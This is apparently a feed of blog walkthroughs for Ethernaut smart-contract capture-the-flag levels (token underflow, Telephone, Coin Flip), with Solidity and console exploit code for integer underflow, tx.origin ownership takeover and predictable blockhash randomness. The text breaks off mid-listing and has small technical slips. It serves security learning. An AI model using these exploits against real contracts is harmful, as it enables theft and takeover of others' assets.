    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So where do you see the conflict? In the hint. You see, in an odometer if you exceed its limit of 999999 it will just simply reset back to 000000 because it does not have a value further than that, this is called an overflow. Similarly, if we go backwards from 000000 it will go to 999999 because it does not have a value lower than that, this is called an underflow. Now remember i asked you to remember that uint is by default uint256 which has a range from 0 to 2^256. Now if you go below 0 it will reset to 2^256 and if you go further than 2^256 it will rest to 0.&lt;/p&gt;

&lt;p&gt;How many tokens we have initially? 20. How many we want to win the level? Many. So if we subtract 21 from the initial token value of 20 it will reset back to 2^256 which is just way way too many and this subtraction occurs in the transfer() function.&lt;/p&gt;

&lt;p&gt;Start by launching the console of this level and type the following command to send 21 tokens to a dummy address of 0.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x0000000000000000000000000000000000000000&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And voila that’s it you won! Check your balance by the following command now.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now just click on “Submit Instance” and claim your win.&lt;/p&gt;

&lt;p&gt;Note that it worked because contract's compiler version of the contract is v0.6.0. This will most probably won't work for latest versions v0.8.0 and above because underflow/overflow causes failing assertion by default in latest versions.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 4 Walkthrough - Telephone</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:21:46 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-4-walkthrough-telephone-50c7</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-4-walkthrough-telephone-50c7</guid>
      <description>&lt;p&gt;This level represents the working of a Telephone call, hence the level name. In a Telephone call, your call doesn’t directly go towards the person you are calling, there is a tower in between where your call goes first then it gets redirect to the recipient of the call (even though there are many other things like BTS and MSC among a call between two persons but let’s just keep it simple for now).&lt;/p&gt;

&lt;p&gt;So the code in this level is quite short and simple. It has only function changeOwner() which requires you to not be the origin of the transaction in order to obtain ownership of the contract. &lt;/p&gt;

&lt;p&gt;When you call the function in this contract there is only you and the contract interacting, no middle-man in between which the transaction can go through (just like a tower to make a telephone call) so we need a middle-man in order to become the contract owner.&lt;/p&gt;

&lt;p&gt;You see the conflict now? You have to be a non-originator in order to become the owner of the contract.&lt;/p&gt;

&lt;p&gt;Let’s start by understanding the difference between &lt;strong&gt;tx.origin&lt;/strong&gt; and &lt;strong&gt;msg.sender&lt;/strong&gt;. In &lt;strong&gt;msg.sender&lt;/strong&gt; both the user wallet address and smart contract address can be the &lt;strong&gt;msg.sender&lt;/strong&gt; while in &lt;strong&gt;tx.origin&lt;/strong&gt; only user wallet address can be the &lt;strong&gt;tx.origin&lt;/strong&gt;. So in this contract, currently the &lt;strong&gt;tx.origin&lt;/strong&gt; and &lt;strong&gt;msg.sender&lt;/strong&gt; are the same which is user wallet address so we need to give &lt;strong&gt;msg.sender&lt;/strong&gt; a smart contract address to breach the only condition written inside changeOwner() function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For this, we first need to paste the original contract inside a file (I named it Telephone.sol) and then we make another contract of our own which I named Attacker.sol as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;"./Telephone.sol"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attacker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Telephone&lt;/span&gt; &lt;span class="n"&gt;telephone&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;telephone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Telephone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;telephone&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;changeOwner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this contract does it calls the actual contract address which we named Telephone.sol inside the constructor. It then takes the address of the attacker which will be our Metamask wallet itself and use that to change the owner of the actual contract which we named Telephone.sol of course.&lt;/p&gt;

&lt;p&gt;Now compile both the contracts Telephone.sol and Attacker.sol then go towards Deploy. In Deploy, change the environment to “Injected Provider - Metamask” and choose the contract Attacker.sol. Right below it you’ll see a Deploy button, put your Instance Address inside it. To check what it is type &lt;code&gt;await contract.address&lt;/code&gt; in the console. See the screenshot below for reference.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--u-Ja-msL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p9rsppsd0hvycjzrsx72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--u-Ja-msL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p9rsppsd0hvycjzrsx72.png" alt="Image description" width="362" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After clicking the Deploy button you’ll see the changeOwner button down below, put your Metamask address inside it and click the changeOwner button to take the ownership of this contract and win the level.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--REmrVFxh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vocnd1pwppmc5c080vjh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--REmrVFxh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vocnd1pwppmc5c080vjh.png" alt="Image description" width="304" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you can check the owner of the contract by typing await contract.owner() inside the console and will see that your Metamask address is now showing up there. I have attached a screenshot of the initial owner address, instance address and current owner address respectively of the contract down below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1AvkEDNC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9u6fap5j0rjhwmocjojc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1AvkEDNC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9u6fap5j0rjhwmocjojc.png" alt="Image description" width="329" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally click the “Submit Instance” and that’s how you win.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 3 Walkthrough - Coin Flip</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:18:39 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-3-walkthrough-coin-flip-39fj</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-3-walkthrough-coin-flip-39fj</guid>
      <description>&lt;p&gt;This level represents a simple Coin Flip game where you need to guess that either the coin is going to be Heads or Tails for 10 times consecutively. Now when you flip a coin in real life the chances of Heads and Tails are random. But in this contract the coin flip randomness is calculated by a logic.&lt;/p&gt;

&lt;p&gt;The contract contains only one function ‘flip()’ which asks for a guess and returns a bool if the guess is true or false based on a calculation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the calculation logic, the function first calculates the blockValue by getting the blockhash of a blocknumber subtracted by 1.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It then proceeds to check whether this calculated hash which is assigned to the blockValue is equal to the previous hash value. If it is the case then it reverts back. If it is not the case then the new lastHash is the current blockValue.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then it proceeds to calculate the coinFlip value by dividing the blockValue with a given FACTOR number which is hardcoded in the contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;div&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the function proceeds to check what side of the coin came into the result by checking if the coinFlip value is 1 then it is true (similar to Heads of a coin), otherwise it is a false (similar to Tails of a coin).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the function compares the side of the coin to the guess that was required in the input of this function. If the guess is correct then the consecutiveWins streak gets an increment, if vice versa then the consecutiveWins is set back to the default 0 and one has to start all over again to guess the answer 10 times consecutively in a streak.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What we need is to have the correct guess 10 times in a row to win this level. Now that we understand the logic behind this contract we can use the same logic to calculate the guess on our own made contract and then send this value as a guess from our contract to the given contract and the have correct result every time.&lt;/p&gt;

&lt;p&gt;In order to do this, we first need the instance address of the level which is obtained by clicking on the “Get new instance” button.&lt;/p&gt;

&lt;p&gt;After that we can launch REMIX IDE and copy the contract given in the level into a new file and make a contract of our own below it and give the instance address of the level to this new contract that we created.&lt;/p&gt;

&lt;p&gt;In our contract, we will copy the same calculation logic from the original contract and then write an if-else below it to check if the guess is correct then we will send it to the original contract, if the guess is wrong then we will send the opposite of it to the original contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'@openzeppelin/contracts/math/SafeMath.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;hackCoinFlip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;CoinFlip&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;originalContract&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CoinFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"0xdBe530a1A4C84e392Fea2bA9e8E0F5482eC37907"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;hackFlip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;originalContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; 
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;originalContract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now can you see the hack behind our contract? What we simply doing is calculate the guess by the same logic as the original contract. Since it is a coin it has only two sides, Heads or Tails. So if we get Heads right then we will send it, if it is not Heads then it must be Tails so we will send that to the original contract and have a consecutiveWins increment.&lt;/p&gt;

&lt;p&gt;The whole contract will look like this. Note that SafeMath library is commented along with sub() and div() being replaced since it was not working due to compiler and version errors of solidity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;//import "@openzeppelin/contracts/utils/math/SafeMath.sol";
&lt;/span&gt;
&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;CoinFlip&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="c1"&gt;//using SafeMath for uint256;
&lt;/span&gt;  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;consecutiveWins&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;lastHash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;FACTOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;57896044618658097711785492504343953926634992332820282019728792003956564819968&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;consecutiveWins&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;blockhash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;lastHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blockValue&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;FACTOR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;side&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coinFlip&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

